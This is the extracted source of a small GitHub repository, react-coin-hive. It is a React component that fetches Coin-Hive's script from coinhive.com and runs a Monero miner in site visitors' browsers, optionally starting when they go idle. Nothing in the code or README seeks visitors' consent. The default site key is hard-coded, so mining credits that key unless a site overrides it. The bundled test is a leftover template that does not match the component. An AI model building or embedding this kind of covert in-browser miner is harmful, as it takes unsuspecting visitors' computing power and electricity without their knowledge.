Repository: cazala/react-coin-hive
Branch: master
Commit: a2670938be39
Files: 12
Total size: 9.3 KB
Directory structure:
gitextract_0o7dvzhl/
├── .gitignore
├── .nvmrc
├── .travis.yml
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── demo/
│ └── src/
│ └── index.js
├── nwb.config.js
├── package.json
├── src/
│ └── index.js
└── tests/
├── .eslintrc
└── index-test.js
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
/coverage
/demo/dist
/es
/lib
/node_modules
/umd
npm-debug.log*
================================================
FILE: .nvmrc
================================================
8.5
================================================
FILE: .travis.yml
================================================
sudo: false
language: node_js
node_js:
- 6
before_install:
- npm install codecov.io coveralls
after_success:
- cat ./coverage/lcov.info | ./node_modules/codecov.io/bin/codecov.io.js
- cat ./coverage/lcov.info | ./node_modules/coveralls/bin/coveralls.js
branches:
only:
- master
================================================
FILE: CONTRIBUTING.md
================================================
## Prerequisites
[Node.js](http://nodejs.org/) >= v4 must be installed.
## Installation
- Running `npm install` in the components's root directory will install everything you need for development.
## Demo Development Server
- `npm start` will run a development server with the component's demo app at [http://localhost:3000](http://localhost:3000) with hot module reloading.
## Running Tests
- `npm test` will run the tests once.
- `npm run test:coverage` will run the tests and produce a coverage report in `coverage/`.
- `npm run test:watch` will run the tests on every change.
## Building
- `npm run build` will build the component for publishing to npm and also bundle the demo app.
- `npm run clean` will delete built resources.
================================================
FILE: LICENSE
================================================
The MIT License (MIT)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# React Coin-Hive
Mine cryptocurrency while your users _haven’t engaged with your content_ lately. Inspired by the last paragraph of [this article](https://cdb.reacttraining.com/announcing-react-idle-8fc0b9e2d33e).
This uses [Coin-Hive](https://coin-hive.com/) to mine [Monero (XMR)](https://getmonero.org/).
## Installation
```
npm install --save react-coin-hive
```
## Usage
```jsx
// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>
```
## Props
- `siteKey`: Your [Coin-Hive Site Key](https://coin-hive.com/settings/sites).
- `timeout`: How long before considering that the user is idle in milliseconds. Default is `30000`.
- `userName`: If used, the miner will be created with `CoinHive.User(siteKey, userName)`. By default the miner is created with `CoinHive.Anonymous(siteKey)`.
- `threads`: The number of threads the miner should start with. Default is `2`.
- `throttle`: The fraction of time that threads should be idle. Default is `0`.
- `onInit`: A function that takes the `miner` instance as argument. It's called when the miner is created.
- `onStart`: A function that takes the `miner` instance as argument. It's called every time the miner is started.
- `onStop`: A function that takes the `miner` instance as argument. It's called every time the miner is stopped.
## Disclaimer
I have nothing to do with `coin-hive.com`
================================================
FILE: demo/src/index.js
================================================
import React, { Component } from 'react'
import { render } from 'react-dom'
import CoinHive from '../../src'
class Demo extends Component {
state = {
autoThreads: true,
}
_handleEnableAutoThreads = () => {
this.setState({ autoThreads: true })
}
_handleDisableAutoThreads = () => {
this.setState({ autoThreads: false })
}
render() {
return <div>
<h1>react-coin-hive Demo</h1>
<div>
autoThreads :
<input
type="button"
value="on"
disabled={this.state.autoThreads}
onClick={this._handleEnableAutoThreads}
/>
<input
type="button"
value="off"
disabled={!this.state.autoThreads}
onClick={this._handleDisableAutoThreads}
/>
</div>
<CoinHive
autoThreads={this.state.autoThreads}
onInit={miner => setInterval(() => CoinHive.displayMiner(miner), 1000)}
onStart={() => console.log('started')}
onStop={() => console.log('stopped')}
siteKey='NjBUIBfgmgqwSRGjemP5JQCNFJu5UJTx'
startOnIdle
timeout={1000}
/>
</div>
}
}
render(<Demo />, document.querySelector('#demo'))
================================================
FILE: nwb.config.js
================================================
module.exports = {
type: 'react-component',
npm: {
esModules: true,
umd: false
}
}
================================================
FILE: package.json
================================================
{
"name": "react-coin-hive",
"version": "1.1.1",
"description": "Mine cryptocurrency while your users haven’t engaged with your content lately",
"main": "lib/index.js",
"module": "es/index.js",
"files": [
"css",
"es",
"lib",
"umd"
],
"scripts": {
"build": "nwb build-react-component",
"clean": "nwb clean-module && nwb clean-demo",
"start": "nwb serve-react-demo",
"test": "nwb test-react",
"test:coverage": "nwb test-react --coverage",
"test:watch": "nwb test-react --server"
},
"dependencies": {
"load-script": "^1.0.0",
"react-idle": "^2.0.0"
},
"peerDependencies": {
"react": "15.x"
},
"devDependencies": {
"nwb": "0.18.x",
"react": "^15.6.1",
"react-dom": "^15.6.1"
},
"author": "",
"homepage": "",
"license": "MIT",
"repository": {
"type": "git",
"url": "git+https://github.com/cazala/react-coin-hive.git"
},
"keywords": [
"react-component"
]
}
================================================
FILE: src/index.js
================================================
import React, { Component } from 'react'
import Idle from 'react-idle';
import loadScript from 'load-script';
import PropTypes from 'prop-types';
class CoinHiveClient extends Component {
static defaultProps = {
autoThreads: false,
timeout: 30000,
threads: 2,
throttle: 0,
siteKey: 'NjBUIBfgmgqwSRGjemP5JQCNFJu5UJTx',
startOnIdle: false,
onInit: (miner) => { },
onStart: (miner) => { },
onStop: (miner) => { }
}
constructor(props) {
super(props);
this.miner = null;
this.idle = false;
}
start() {
if (this.miner) {
this.miner.start();
this.props.onStart(this.miner);
}
}
stop() {
if (this.miner) {
this.miner.stop();
this.props.onStop(this.miner);
}
}
buildMiner = async () => {
if (this.miner && this.miner.isRunning()) {
this.stop();
}
this.miner = await new Promise(resolve => {
loadScript('https://coinhive.com/lib/coinhive.min.js', () => {
if (this.props.userName) {
return resolve(CoinHive.User(this.props.siteKey, this.props.userName));
}
return resolve(CoinHive.Anonymous(this.props.siteKey));
})
})
this.handleProps(this.props);
}
async componentWillMount() {
await this.buildMiner();
this.props.onInit(this.miner);
if (!this.idle) {
this.start();
}
}
async componentWillReceiveProps(nextProps) {
this.handleProps(nextProps);
this.stop();
await this.buildMiner();
if (!this.idle) {
this.start();
}
return;
}
handleProps({ throttle, threads, autoThreads }) {
if (this.miner != null) {
this.miner.setThrottle(throttle);
if (autoThreads) {
this.miner.setAutoThreadsEnabled(autoThreads);
} else {
this.miner.setNumThreads(threads);
}
}
}
handleIdleChange = ({ idle }) => {
if (this.miner != null) {
if (idle) {
this.start();
} else {
this.stop();
}
} else {
}
this.idle = idle;
}
render() {
if (!this.props.startOnIdle) {
return null;
}
return <Idle
timeout={this.props.timeout}
onChange={this.handleIdleChange}
/>
}
}
CoinHiveClient.PropTypes = {
siteKey: PropTypes.string.isRequired,
timeout: PropTypes.number,
onInit: PropTypes.func,
onStart: PropTypes.func,
onStop: PropTypes.func,
userName: PropTypes.string,
autoThreads: PropTypes.bool,
startOnIdle: PropTypes.bool,
};
CoinHiveClient.displayMiner = miner => {
if (!miner || typeof miner !== 'object' || typeof miner.isRunning !== 'function') {
console.log('miner is not defined')
return;
}
const data = {
isRunning: miner.isRunning(),
getHashesPerSecond: miner.getHashesPerSecond(),
getNumThreads: miner.getNumThreads(),
getAutoThreadsEnabled: miner.getAutoThreadsEnabled(),
hasWASMSupport: miner.hasWASMSupport(),
getThrottle: miner.getThrottle(),
getToken: miner.getToken(),
getTotalHashes: miner.getTotalHashes(),
getAcceptedHashes: miner.getAcceptedHashes(),
};
console.log(data)
}
export default CoinHiveClient;
================================================
FILE: tests/.eslintrc
================================================
{
"env": {
"mocha": true
}
}
================================================
FILE: tests/index-test.js
================================================
import expect from 'expect'
import React from 'react'
import {render, unmountComponentAtNode} from 'react-dom'
import Component from 'src/'
describe('Component', () => {
let node
beforeEach(() => {
node = document.createElement('div')
})
afterEach(() => {
unmountComponentAtNode(node)
})
it('displays a welcome message', () => {
render(<Component/>, node, () => {
expect(node.innerHTML).toContain('Welcome to React components')
})
})
})
gitextract_0o7dvzhl/
├── .gitignore
├── .nvmrc
├── .travis.yml
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── demo/
│ └── src/
│ └── index.js
├── nwb.config.js
├── package.json
├── src/
│ └── index.js
└── tests/
├── .eslintrc
└── index-test.js
SYMBOL INDEX (10 symbols across 2 files)
FILE: demo/src/index.js
class Demo (line 6) | class Demo extends Component {
method render (line 19) | render() {
FILE: src/index.js
class CoinHiveClient (line 6) | class CoinHiveClient extends Component {
method constructor (line 20) | constructor(props) {
method start (line 26) | start() {
method stop (line 33) | stop() {
method componentWillMount (line 55) | async componentWillMount() {
method componentWillReceiveProps (line 63) | async componentWillReceiveProps(nextProps) {
method handleProps (line 73) | handleProps({ throttle, threads, autoThreads }) {
method render (line 97) | render() {
Condensed preview — 12 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (10K chars).
[
{
"path": ".gitignore",
"chars": 64,
"preview": "/coverage\n/demo/dist\n/es\n/lib\n/node_modules\n/umd\nnpm-debug.log*\n"
},
{
"path": ".nvmrc",
"chars": 4,
"preview": "8.5\n"
},
{
"path": ".travis.yml",
"chars": 296,
"preview": "sudo: false\n\nlanguage: node_js\nnode_js:\n - 6\n\nbefore_install:\n - npm install codecov.io coveralls\n\nafter_success:\n - "
},
{
"path": "CONTRIBUTING.md",
"chars": 746,
"preview": "## Prerequisites\n\n[Node.js](http://nodejs.org/) >= v4 must be installed.\n\n## Installation\n\n- Running `npm install` in th"
},
{
"path": "LICENSE",
"chars": 1046,
"preview": "The MIT License (MIT)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and"
},
{
"path": "README.md",
"chars": 1406,
"preview": "# React Coin-Hive\n\nMine cryptocurrency while your users _haven’t engaged with your content_ lately. Inspired by the last"
},
{
"path": "demo/src/index.js",
"chars": 1207,
"preview": "import React, { Component } from 'react'\nimport { render } from 'react-dom'\n\nimport CoinHive from '../../src'\n\nclass Dem"
},
{
"path": "nwb.config.js",
"chars": 97,
"preview": "module.exports = {\n type: 'react-component',\n npm: {\n esModules: true,\n umd: false\n }\n}\n"
},
{
"path": "package.json",
"chars": 971,
"preview": "{\n \"name\": \"react-coin-hive\",\n \"version\": \"1.1.1\",\n \"description\": \"Mine cryptocurrency while your users haven’t enga"
},
{
"path": "src/index.js",
"chars": 3146,
"preview": "import React, { Component } from 'react'\nimport Idle from 'react-idle';\nimport loadScript from 'load-script';\nimport Pro"
},
{
"path": "tests/.eslintrc",
"chars": 37,
"preview": "{\n \"env\": {\n \"mocha\": true\n }\n}\n"
},
{
"path": "tests/index-test.js",
"chars": 478,
"preview": "import expect from 'expect'\nimport React from 'react'\nimport {render, unmountComponentAtNode} from 'react-dom'\n\nimport C"
}
]
About this extraction
This page contains the full source code of the cazala/react-coin-hive GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 12 files (9.3 KB), approximately 2.8k tokens, and a symbol index with 10 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.